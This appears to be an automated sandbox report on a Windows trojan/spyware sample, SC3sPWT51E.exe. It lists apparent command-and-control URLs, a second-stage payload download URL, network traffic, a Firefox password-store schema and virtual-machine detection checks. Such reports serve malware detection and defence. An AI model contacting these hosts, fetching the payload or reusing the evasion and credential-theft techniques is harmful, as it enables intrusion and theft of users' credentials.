Source: SC3sPWT51E.exe, 00000000.00000003.2300256938.0000000003F59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: SC3sPWT51E.exe, 00000000.00000003.2300256938.0000000003F59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: SC3sPWT51E.exe, 00000000.00000003.2248421895.0000000003F0B000.00000004.00000800.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2248506046.0000000003F09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: SC3sPWT51E.exe, 00000000.00000003.2248421895.0000000003F0B000.00000004.00000800.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2248506046.0000000003F09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: SC3sPWT51E.exe, 00000000.00000003.2248421895.0000000003F0B000.00000004.00000800.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2248506046.0000000003F09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: SC3sPWT51E.exe, SC3sPWT51E.exe, 00000000.00000003.2441823245.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000002.2500676078.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2441504379.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gamertool.eu/
Source: SC3sPWT51E.exe, SC3sPWT51E.exe, 00000000.00000003.2441504379.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000002.2500729700.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2441823245.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000002.2500676078.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2441504379.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gamertool.eu/LKSM.exe
Source: SC3sPWT51E.exe, 00000000.00000003.2441504379.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000002.2500729700.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gamertool.eu/LKSM.exez
Source: SC3sPWT51E.exe, 00000000.00000002.2501240812.0000000003F58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gamertool.eu:443/LKSM.exe
Source: SC3sPWT51E.exe	String found in binary or memory: https://gcc.gnu.org/bugs/):
Source: SC3sPWT51E.exe, 00000000.00000003.2300256938.0000000003F59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: SC3sPWT51E.exe, 00000000.00000003.2441805422.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://se-blurry.biz/
Source: SC3sPWT51E.exe, 00000000.00000003.2441805422.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2334331703.0000000000FD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://se-blurry.biz/??
Source: SC3sPWT51E.exe, SC3sPWT51E.exe, 00000000.00000003.2375238655.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2397482794.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2334305887.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2375030699.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2334331703.0000000000FD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://se-blurry.biz/api
Source: SC3sPWT51E.exe, 00000000.00000002.2500833328.0000000000FDC000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2441805422.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://se-blurry.biz/apiO
Source: SC3sPWT51E.exe, 00000000.00000003.2397375235.0000000000FE8000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2375220847.0000000000FE4000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2375030699.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2362595567.0000000000FE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://se-blurry.biz/apiY
Source: SC3sPWT51E.exe, 00000000.00000003.2375238655.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2397482794.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2334305887.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2375030699.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2334331703.0000000000FD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://se-blurry.biz/apic
Source: SC3sPWT51E.exe, 00000000.00000003.2397375235.0000000000FE8000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2375220847.0000000000FE4000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2375030699.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2362595567.0000000000FE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://se-blurry.biz/apie
Source: SC3sPWT51E.exe, 00000000.00000003.2375238655.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2397482794.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000002.2500833328.0000000000FDC000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2375030699.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2441805422.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://se-blurry.biz/apiv
Source: SC3sPWT51E.exe, 00000000.00000003.2334305887.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2334331703.0000000000FD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://se-blurry.biz/t
Source: SC3sPWT51E.exe, 00000000.00000003.2375238655.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2375030699.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://se-blurry.biz:443/api
Source: SC3sPWT51E.exe, 00000000.00000003.2299977238.00000000041EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: SC3sPWT51E.exe, 00000000.00000003.2299977238.00000000041EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: SC3sPWT51E.exe, 00000000.00000003.2300256938.0000000003F59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: SC3sPWT51E.exe, 00000000.00000003.2248421895.0000000003F0B000.00000004.00000800.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2248506046.0000000003F09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: SC3sPWT51E.exe, 00000000.00000003.2248421895.0000000003F0B000.00000004.00000800.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2248506046.0000000003F09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: SC3sPWT51E.exe, 00000000.00000003.2299868769.0000000003FCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: SC3sPWT51E.exe, 00000000.00000003.2299868769.0000000003FCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: SC3sPWT51E.exe, 00000000.00000003.2299977238.00000000041EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: SC3sPWT51E.exe, 00000000.00000003.2299977238.00000000041EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: SC3sPWT51E.exe, 00000000.00000003.2299977238.00000000041EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: SC3sPWT51E.exe, 00000000.00000003.2300256938.0000000003F59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778

Source: unknown	HTTPS traffic detected: 172.67.162.65:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.65:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.65:443 -> 192.168.2.6:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.65:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.65:443 -> 192.168.2.6:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.65:443 -> 192.168.2.6:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.65:443 -> 192.168.2.6:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.65:443 -> 192.168.2.6:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.161.29:443 -> 192.168.2.6:49778 version: TLS 1.2

Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00FD99FA	0_3_00FD99FA
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00FD99FA	0_3_00FD99FA
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00FD99FA	0_3_00FD99FA
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00FD99FA	0_3_00FD99FA
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00FEF7BA	0_3_00FEF7BA
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00FEF7BA	0_3_00FEF7BA
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00FEF7BA	0_3_00FEF7BA
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00FD99FA	0_3_00FD99FA
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00FD99FA	0_3_00FD99FA
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00FEF7BA	0_3_00FEF7BA
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00FEF7BA	0_3_00FEF7BA
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00FEF7BA	0_3_00FEF7BA
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00FEF7BA	0_3_00FEF7BA
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00FEF7BA	0_3_00FEF7BA
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00FEF7BA	0_3_00FEF7BA
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00FD99FA	0_3_00FD99FA
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00FD99FA	0_3_00FD99FA
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00F85750	0_3_00F85750
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00F6DE00	0_3_00F6DE00

Source: SC3sPWT51E.exe

Static PE information: Number of sections : 18 > 10

Source: SC3sPWT51E.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/3@3/2

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3260:120:WilError_03

Source: C:\Users\user\Desktop\SC3sPWT51E.exe

File created: C:\Users\user\AppData\Local\Temp\IYMX3DP1MKU29JHQR34PWXTNMKFL8CK.exe

Jump to behavior

Source: SC3sPWT51E.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\SC3sPWT51E.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SC3sPWT51E.exe, 00000000.00000003.2249266677.0000000003ED8000.00000004.00000800.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2274381566.0000000003F84000.00000004.00000800.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2274302243.0000000003FC3000.00000004.00000800.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2248680892.0000000003EF6000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: SC3sPWT51E.exe	ReversingLabs: Detection: 60%
Source: SC3sPWT51E.exe	Virustotal: Detection: 50%

Source: C:\Users\user\Desktop\SC3sPWT51E.exe

File read: C:\Users\user\Desktop\SC3sPWT51E.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SC3sPWT51E.exe "C:\Users\user\Desktop\SC3sPWT51E.exe"
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: SC3sPWT51E.exe

Static file information: File size 1461248 > 1048576

Source: SC3sPWT51E.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: SC3sPWT51E.exe

Static PE information: real checksum: 0x194c4a should be: 0x16d625

Source: SC3sPWT51E.exe	Static PE information: section name: /4
Source: SC3sPWT51E.exe	Static PE information: section name: /19
Source: SC3sPWT51E.exe	Static PE information: section name: /31
Source: SC3sPWT51E.exe	Static PE information: section name: /45
Source: SC3sPWT51E.exe	Static PE information: section name: /57
Source: SC3sPWT51E.exe	Static PE information: section name: /70
Source: SC3sPWT51E.exe	Static PE information: section name: /81
Source: SC3sPWT51E.exe	Static PE information: section name: /97
Source: SC3sPWT51E.exe	Static PE information: section name: /113

Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00FEA6F5 pushad ; iretd	0_3_00FEA701
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00FEA6F5 pushad ; iretd	0_3_00FEA701
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00FEA6F5 pushad ; iretd	0_3_00FEA701
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00FE8D1A push ecx; retf	0_3_00FE8D40
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00FE8D1A push ecx; retf	0_3_00FE8D40
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00FE8D1A push ecx; retf	0_3_00FE8D40
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00FEA6F5 pushad ; iretd	0_3_00FEA701
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00FEA6F5 pushad ; iretd	0_3_00FEA701
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00FEA6F5 pushad ; iretd	0_3_00FEA701
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00FE8D1A push ecx; retf	0_3_00FE8D40
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00FE8D1A push ecx; retf	0_3_00FE8D40
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00FE8D1A push ecx; retf	0_3_00FE8D40
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00FEA6F5 pushad ; iretd	0_3_00FEA701
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00FEA6F5 pushad ; iretd	0_3_00FEA701
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00FEA6F5 pushad ; iretd	0_3_00FEA701
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00FE8D1A push ecx; retf	0_3_00FE8D40
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00FE8D1A push ecx; retf	0_3_00FE8D40
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00FE8D1A push ecx; retf	0_3_00FE8D40
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00F6C364 pushad ; ret	0_3_00F6C365
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00F6CB64 pushad ; retf	0_3_00F6CB65
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00F6CF64 pushad ; iretd	0_3_00F6CF65
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00F6C360 pushad ; ret	0_3_00F6C361
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00F6CB60 pushad ; retf	0_3_00F6CB61
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00F6CF60 pushad ; iretd	0_3_00F6CF61
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00F6C368 push 6800F6C3h; ret	0_3_00F6C36D
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00F6CB68 push 6800F6CBh; retf	0_3_00F6CB6D
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00F6CF68 push 6800F6CFh; iretd	0_3_00F6CF6D
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00F6C354 push eax; ret	0_3_00F6C355
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00F6CB54 push eax; retf	0_3_00F6CB55
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00F6CF54 push eax; iretd	0_3_00F6CF55
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Code function: 0_3_00F6C350 push eax; ret	0_3_00F6C351

Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\SC3sPWT51E.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\SC3sPWT51E.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\SC3sPWT51E.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\SC3sPWT51E.exe TID: 5536

Thread sleep time: -30000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\SC3sPWT51E.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: Amcache.hve.0.dr	Binary or memory string: VMware
Source: SC3sPWT51E.exe, 00000000.00000003.2274151401.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: Amcache.hve.0.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: SC3sPWT51E.exe, 00000000.00000003.2274151401.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: SC3sPWT51E.exe, SC3sPWT51E.exe, 00000000.00000003.2441823245.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000002.2500676078.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2441504379.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: SC3sPWT51E.exe, 00000000.00000003.2274151401.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: SC3sPWT51E.exe, 00000000.00000003.2274151401.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: SC3sPWT51E.exe, 00000000.00000003.2274151401.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: SC3sPWT51E.exe, 00000000.00000003.2274151401.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: Amcache.hve.0.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: SC3sPWT51E.exe, 00000000.00000003.2274151401.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: SC3sPWT51E.exe, 00000000.00000003.2274151401.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: SC3sPWT51E.exe, 00000000.00000003.2274151401.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: SC3sPWT51E.exe, 00000000.00000003.2274151401.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: Amcache.hve.0.dr	Binary or memory string: vmci.sys
Source: SC3sPWT51E.exe, 00000000.00000003.2274151401.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: SC3sPWT51E.exe, 00000000.00000003.2274151401.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: SC3sPWT51E.exe, 00000000.00000003.2274151401.0000000003EEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: Amcache.hve.0.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.0.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.0.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.0.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
